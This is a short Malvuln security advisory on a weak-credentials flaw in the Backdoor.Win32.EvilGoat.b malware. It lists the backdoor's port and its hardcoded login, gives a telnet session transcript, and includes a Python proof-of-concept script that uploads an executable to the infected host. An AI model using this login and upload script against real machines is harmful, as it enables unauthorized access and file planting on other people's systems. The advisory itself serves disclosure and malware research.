Backdoor.Win32.EvilGoat.b malware suffers from a hardcoded credential vulnerability.
19ef0671c05c0afcf2c8bf3c081a0188020bbea1b901243ff9829edcb89199ffDiscovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/20daf01e941f966b21a7ae431faefc65.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.EvilGoat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 13014. Authentication is required, however the credentials "evilgoat / penix" are weak and found within the PE file.
Family: EvilGoat
Type: PE32
MD5: 20daf01e941f966b21a7ae431faefc65
Vuln ID: MVID-2022-0619
Dropped files: ftpsvr.exe
Disclosure: 06/29/2022
Exploit/PoC:
telnet.exe x.x.x.x 13014
220 FTP Server
USER evilgoat
331 Password required for evilgoat.
PASS penix
230 User evilgoat logged in.
SYST
500 'SYST': command not understood.
PASV
227 Entering Passive Mode (192,168,18,125,236,209)
CDUP \
250 CWD command successful.
STOR DOOM.exe
150 Opening BINARY mode data connection for file transfer.
226 Upload Complete, 25602 bytes sent.
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=60625
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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